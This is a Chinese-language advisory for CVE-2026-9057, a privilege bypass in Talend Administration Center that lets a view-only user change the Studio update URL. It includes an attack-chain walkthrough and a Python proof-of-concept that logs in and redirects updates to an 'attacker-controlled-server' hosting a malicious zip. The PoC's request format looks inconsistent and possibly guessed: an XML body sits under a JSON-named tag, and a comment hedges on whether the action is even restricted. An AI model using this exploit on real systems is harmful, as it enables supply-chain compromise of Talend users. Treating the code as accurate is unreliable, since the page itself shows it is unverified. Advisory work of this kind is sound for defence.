CVE-2026-9057 Talend Administration Center权限绕过漏洞

漏洞信息

漏洞编号

CVE-2026-9057

漏洞类型

权限绕过 / 失效的访问控制

CVSS评分

8.2 高危

攻击向量

网络 (AV:N)

认证要求

低权限 (PR:L)

用户交互

无需交互 (UI:N)

影响产品

Talend Administration Center

漏洞概述

Talend Administration Center存在严重的失效访问控制漏洞。该漏洞允许仅拥有“View”低权限的用户，利用权限验证缺失，非法修改Talend Studio的更新URL地址。攻击者可借此将更新源重定向至恶意服务器，实施供应链攻击或篡改更新包，从而获取系统控制权。此漏洞风险等级为高危，对系统机密性和完整性构成严重威胁，官方已发布相关补丁进行修复。

技术细节

该漏洞的根本原因在于Talend Administration Center服务器端未对关键配置修改接口实施严格的权限校验。在标准的RBAC模型中，修改系统级配置（如Studio更新URL）应当仅限于管理员或具有特定“Edit”权限的用户。然而，受影响版本的后端代码在处理更新配置的请求时，仅检查了用户是否已登录，而未验证其具体角色权限。

攻击者首先需要获取一个具有“View”权限的合法账户凭证。随后，攻击者通过构造特定的HTTP POST请求，向服务器发送包含恶意URL参数的数据包。由于存在权限绕过缺陷，服务器接受了该请求并更新了系统配置。一旦更新URL被篡改，当管理员或客户端尝试通过Talend Studio进行软件更新时，系统会从攻击者控制的服务器下载更新包。这可能导致供应链攻击，进而引发远程代码执行（RCE）或敏感信息泄露。CVSS向量中的S:C（Scope Changed）表明该漏洞的影响可蔓延至其他组件。

攻击链分析

STEP 1

1. 获取低权限凭证

攻击者注册或获取一个Talend Administration Center的普通用户账户，该账户仅有“View”权限。

STEP 2

2. 构造恶意请求

攻击者分析系统API，发现修改更新URL的接口存在权限校验缺失，并构造包含恶意更新服务器地址的HTTP请求。

STEP 3

3. 提交利用代码

攻击者使用低权限账户向服务器发送修改配置的请求，由于漏洞存在，系统接受修改并将更新URL指向恶意地址。

STEP 4

4. 等待受害者更新

当管理员或其他用户使用Talend Studio检查更新时，系统从攻击者控制的服务器下载更新包，导致恶意代码执行。

PoC / 利用代码

⚠️ 仅供安全研究

以下代码仅用于安全研究和授权测试，未经授权使用属于违法行为。

PoC

import requests

# Target configuration
target_host = "http://target-talend-server:8080"
login_url = f"{target_host}/j_security_check"
config_url = f"{target_host}/org.talend.administrator/metaServlet"

# Low-privileged user credentials (View permission only)
username = "viewer_user"
password = "viewer_password"

# 1. Authenticate to the application
session = requests.Session()
payload = {
    "j_username": username,
    "j_password": password
}
print(f"[*] Attempting login as {username}...")
response = session.post(login_url, data=payload)

if response.status_code == 200 and "Login failed" not in response.text:
    print("[+] Login successful.")

    # 2. Exploit Broken Access Control to modify Update URL
    # The action 'updateConfiguration' might be restricted, but is vulnerable here.
    # We point the update URL to a malicious server.
    malicious_url = "http://attacker-controlled-server/malicious-update.zip"
    
    soap_body = f"""<?xml version="1.0" encoding="UTF-8"?>
    <talendJsonCmd>
        <actionName>updateConfiguration</actionName>
        <actionParams>
            <param name="update.site.url">{malicious_url}</param>
            <param name="author">{username}</param>
        </actionParams>
    </talendJsonCmd>"""

    headers = {"Content-Type": "application/xml"}
    print(f"[*] Sending payload to change update URL to: {malicious_url}")
    
    exploit_response = session.post(config_url, data=soap_body, headers=headers)

    if exploit_response.status_code == 200:
        print("[+] Exploit executed successfully. Check configuration if update URL changed.")
    else:
        print("[-] Exploit failed or endpoint returned error.")
else:
    print("[-] Login failed.")

影响范围

Talend Administration Center (修复补丁发布前的版本)

防御指南

临时缓解措施

在无法立即打补丁的情况下，建议管理员严格监控Talend Administration Center的配置变更日志，查看是否有未经授权的URL修改记录。同时，通过网络访问控制列表（ACL）限制对管理后台的访问来源，仅允许受信任的IP地址连接，以降低被攻击的风险。